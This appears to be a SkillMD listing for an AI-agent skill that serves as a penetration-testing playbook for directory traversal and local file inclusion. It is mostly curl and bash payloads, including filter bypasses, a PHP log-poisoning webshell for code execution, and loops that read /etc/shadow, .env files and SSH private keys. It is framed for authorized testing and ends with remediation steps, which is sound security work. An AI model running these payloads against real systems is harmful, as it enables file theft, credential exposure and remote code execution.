How do I install the Dir Trvrsl Test skill?

Run npx skillmds@latest add undermybelt/dir-trvrsl-test in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

What does the Dir Trvrsl Test skill do?

Testing web applications for path traversal vulnerabilities that allow reading or writing arbitrary files on the server by manipulating file path parameters. It is listed under Coding & Dev Tools on SkillMD.

Is Dir Trvrsl Test safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Dir Trvrsl Test?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Dir Trvrsl Test free to use?

Yes. Installing skills from SkillMD is free. This skill is licensed under Apache-2.

Who published Dir Trvrsl Test?

undermybelt (@undermybelt) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Dir Trvrsl Test by undermybelt — Agent Skill

Name: Dir Trvrsl Test
Author: undermybelt

Performing Directory Traversal Testing

When to Use

During authorized penetration tests when the application handles file paths in URL parameters or request bodies
When testing file download, file view, or file include functionality
For assessing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities
When evaluating template engines, logging systems, or report generators that reference files
During security assessments of APIs that accept file names or paths as parameters

Prerequisites

Authorization: Written penetration testing agreement for the target
Burp Suite Professional: For intercepting and modifying file path parameters
ffuf: For fuzzing file path parameters with traversal payloads
dotdotpwn: Automated directory traversal fuzzer (apt install dotdotpwn)
SecLists: Traversal payload wordlists from Daniel Miessler's collection
curl: For manual testing of traversal payloads

Workflow

Step 1: Identify File Path Parameters

Find application endpoints that reference files through parameters.

# Common file-handling patterns to look for:
# /download?file=report.pdf
# /view?page=about.html
# /api/files?path=documents/invoice.pdf
# /template?name=header.html
# /include?module=sidebar
# /image?src=photos/avatar.jpg
# /export?format=csv&template=default

# In Burp Suite, search proxy history for file-related parameters
# Filter by parameter names: file, path, page, template, include,
# module, src, doc, document, folder, dir, name, filename

# Test with a known valid file to establish baseline
curl -s "https://target.example.com/download?file=report.pdf" -o /dev/null -w "%{http_code} %{size_download}"

# Try referencing a file that shouldn't be accessible
curl -s "https://target.example.com/download?file=../../../etc/passwd"

Step 2: Test Basic Directory Traversal Payloads

Attempt to escape the intended directory and read sensitive files.

# Linux traversal payloads
PAYLOADS=(
  "../../../etc/passwd"
  "../../../../etc/passwd"
  "../../../../../etc/passwd"
  "../../../../../../etc/passwd"
  "../../../../../../../etc/passwd"
  "..%2f..%2f..%2fetc%2fpasswd"
  "..%252f..%252f..%252fetc%252fpasswd"
  "%2e%2e/%2e%2e/%2e%2e/etc/passwd"
  "....//....//....//etc/passwd"
  "..;/..;/..;/etc/passwd"
)

for payload in "${PAYLOADS[@]}"; do
  echo -n "Testing: $payload -> "
  response=$(curl -s "https://target.example.com/download?file=$payload")
  if echo "$response" | grep -q "root:"; then
    echo "VULNERABLE"
  else
    echo "Blocked"
  fi
done

# Windows traversal payloads
WIN_PAYLOADS=(
  "..\..\..\windows\win.ini"
  "..%5c..%5c..%5cwindows%5cwin.ini"
  "..\/..\/..\/windows/win.ini"
  "....\\....\\....\\windows\\win.ini"
)

for payload in "${WIN_PAYLOADS[@]}"; do
  echo -n "Testing: $payload -> "
  curl -s "https://target.example.com/download?file=$payload" | head -c 100
  echo
done

Step 3: Apply Encoding and Filter Bypass Techniques

Use various encoding schemes to bypass input validation filters.

# URL encoding bypass
curl -s "https://target.example.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

# Double URL encoding
curl -s "https://target.example.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"

# UTF-8 encoding
curl -s "https://target.example.com/download?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"

# Null byte injection (PHP < 5.3.4)
curl -s "https://target.example.com/download?file=../../../etc/passwd%00.pdf"

# Path truncation (Windows)
# Exceeding MAX_PATH (260 chars) to bypass extension checks
LONG_PATH="../../../etc/passwd"
for i in $(seq 1 200); do LONG_PATH="${LONG_PATH}/."; done
curl -s "https://target.example.com/download?file=$LONG_PATH"

# Case manipulation (Windows)
curl -s "https://target.example.com/download?file=..\..\..\..\WiNdOwS\win.ini"

# Dot-dot-slash variations
curl -s "https://target.example.com/download?file=....//....//....//etc/passwd"
curl -s "https://target.example.com/download?file=....//../../../etc/passwd"

# Using absolute path (if filter only blocks relative traversal)
curl -s "https://target.example.com/download?file=/etc/passwd"

Step 4: Automate with ffuf and dotdotpwn

Use automated tools for comprehensive traversal testing.

# ffuf with traversal payload list
ffuf -u "https://target.example.com/download?file=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mc 200 \
  -fs 0 \
  -t 20 -rate 50 \
  -o traversal-results.json -of json

# dotdotpwn for systematic traversal testing
dotdotpwn -m http-url \
  -u "https://target.example.com/download?file=TRAVERSAL" \
  -k "root:" \
  -o /tmp/dotdotpwn-results.txt \
  -d 8 -t 200

# Burp Intruder approach:
# 1. Send request to Intruder
# 2. Mark the file parameter value as insertion point
# 3. Load LFI payload list from SecLists
# 4. Add Grep Match rules for: "root:", "[extensions]", "for 16-bit"
# 5. Start attack and review matches

Step 5: Test Local File Inclusion (LFI) for Code Execution

If LFI is confirmed, attempt to escalate to remote code execution.

# PHP LFI to RCE via log poisoning
# Step 1: Inject PHP code into access log
curl -s -A "<?php system(\$_GET['cmd']); ?>" \
  "https://target.example.com/"

# Step 2: Include the log file via LFI
curl -s "https://target.example.com/page?file=../../../var/log/apache2/access.log&cmd=id"

# PHP wrapper for file read (base64 encode to avoid parsing)
curl -s "https://target.example.com/page?file=php://filter/convert.base64-encode/resource=config.php"

# PHP wrapper for code execution
curl -s -X POST \
  -d "<?php system('id'); ?>" \
  "https://target.example.com/page?file=php://input"

# PHP data wrapper
curl -s "https://target.example.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=="

# Include /proc/self/environ (if readable)
curl -s -A "<?php phpinfo(); ?>" \
  "https://target.example.com/page?file=../../../proc/self/environ"

# Session file inclusion
# Write PHP code into session via another parameter
# Then include: /tmp/sess_<PHPSESSID>

Step 6: Read High-Value Files

Target sensitive configuration and credential files.

# Linux high-value files
HIGH_VALUE_LINUX=(
  "/etc/passwd"
  "/etc/shadow"
  "/etc/hosts"
  "/etc/hostname"
  "/proc/self/environ"
  "/proc/self/cmdline"
  "/var/www/html/.env"
  "/var/www/html/config.php"
  "/var/www/html/wp-config.php"
  "/home/user/.ssh/id_rsa"
  "/home/user/.bash_history"
  "/root/.bash_history"
  "/var/log/auth.log"
)

for file in "${HIGH_VALUE_LINUX[@]}"; do
  traversal="../../../../../../..$file"
  echo -n "$file: "
  response=$(curl -s "https://target.example.com/download?file=$traversal")
  if [ ${#response} -gt 10 ]; then
    echo "READABLE (${#response} bytes)"
  else
    echo "Not accessible"
  fi
done

# Windows high-value files
HIGH_VALUE_WIN=(
  "C:\\Windows\\win.ini"
  "C:\\Windows\\System32\\drivers\\etc\\hosts"
  "C:\\inetpub\\wwwroot\\web.config"
  "C:\\Users\\Administrator\\.ssh\\id_rsa"
  "C:\\xampp\\apache\\conf\\httpd.conf"
  "C:\\xampp\\mysql\\data\\mysql\\user.MYD"
)

Key Concepts

Concept	Description
Directory Traversal	Using `../` sequences to navigate to parent directories and access files outside the intended path
Local File Inclusion (LFI)	Server-side inclusion of local files, potentially leading to code execution
Remote File Inclusion (RFI)	Including files from external URLs (requires `allow_url_include=On` in PHP)
Null Byte Injection	Using `%00` to truncate file paths, bypassing extension checks in older PHP versions
PHP Wrappers	Protocols like `php://filter`, `php://input`, `data://` for reading and executing files
Log Poisoning	Injecting code into log files and then including them via LFI for code execution
Path Canonicalization	The process of resolving relative paths to absolute paths, which can be exploited

Tools & Systems

Tool	Purpose
Burp Suite Professional	Request interception and Intruder for automated payload testing
ffuf	Fast fuzzing with LFI/traversal wordlists
dotdotpwn	Dedicated directory traversal fuzzer with multiple traversal patterns
LFISuite	Automated LFI exploitation tool with multiple techniques
SecLists	Comprehensive wordlists including LFI payloads and traversal patterns
Kadimus	LFI scanning and exploitation tool

Common Scenarios

Scenario 1: File Download Traversal

A document download endpoint at /download?file=report.pdf does not validate the file parameter. Replacing the value with ../../../etc/passwd returns the server's password file.

Scenario 2: Template LFI to RCE

A PHP application includes templates via ?page=home. By poisoning the Apache access log with PHP code in the User-Agent header, then including the log file, the attacker achieves remote code execution.

Scenario 3: Image Path Traversal

An image resizing service accepts ?src=images/photo.jpg. The application strips ../ once but does not recurse, so ....//....//etc/passwd bypasses the filter.

Scenario 4: Windows IIS Configuration Leak

A .NET application serves files via ?path=docs\manual.pdf. Traversing to ..\..\web.config exposes the IIS configuration file containing database connection strings.

Output Format

## Directory Traversal Finding

**Vulnerability**: Path Traversal / Local File Inclusion
**Severity**: High (CVSS 8.6)
**Location**: GET /download?file=../../../etc/passwd
**OWASP Category**: A01:2021 - Broken Access Control

### Reproduction Steps
1. Navigate to https://target.example.com/download?file=report.pdf
2. Replace file parameter: ?file=../../../etc/passwd
3. Server returns contents of /etc/passwd

### Files Retrieved
| File | Impact |
|------|--------|
| /etc/passwd | User enumeration (42 accounts) |
| /var/www/html/.env | Database credentials exposed |
| /home/deploy/.ssh/id_rsa | SSH private key recovered |
| /proc/self/environ | Environment variables with API keys |

### Filter Bypass Required
Original `../` stripped by filter. Successful bypass: `....//....//....//etc/passwd`

### Recommendation
1. Use an allowlist of permitted file names rather than accepting arbitrary paths
2. Resolve the canonical path and verify it stays within the intended directory
3. Run the web server with minimal file system permissions
4. Remove sensitive files from web-accessible directories
5. Disable PHP wrappers (allow_url_include, allow_url_fopen) if not required

Dir Trvrsl Test

File contents

Performing Directory Traversal Testing

When to Use

Prerequisites

Workflow

Step 1: Identify File Path Parameters

Step 2: Test Basic Directory Traversal Payloads

Step 3: Apply Encoding and Filter Bypass Techniques

Step 4: Automate with ffuf and dotdotpwn

Step 5: Test Local File Inclusion (LFI) for Code Execution

Step 6: Read High-Value Files

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: File Download Traversal

Scenario 2: Template LFI to RCE

Scenario 3: Image Path Traversal

Scenario 4: Windows IIS Configuration Leak

Output Format

Frequently asked questions

Dir Trvrsl Test

File contents

Performing Directory Traversal Testing

When to Use

Prerequisites

Workflow

Step 1: Identify File Path Parameters

Step 2: Test Basic Directory Traversal Payloads

Step 3: Apply Encoding and Filter Bypass Techniques

Step 4: Automate with ffuf and dotdotpwn

Step 5: Test Local File Inclusion (LFI) for Code Execution

Step 6: Read High-Value Files

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: File Download Traversal

Scenario 2: Template LFI to RCE

Scenario 3: Image Path Traversal

Scenario 4: Windows IIS Configuration Leak

Output Format

Related skills

Frequently asked questions

How do I install the Dir Trvrsl Test skill?

What does the Dir Trvrsl Test skill do?

Is Dir Trvrsl Test safe to use?

Which AI agents work with Dir Trvrsl Test?

Is Dir Trvrsl Test free to use?

Who published Dir Trvrsl Test?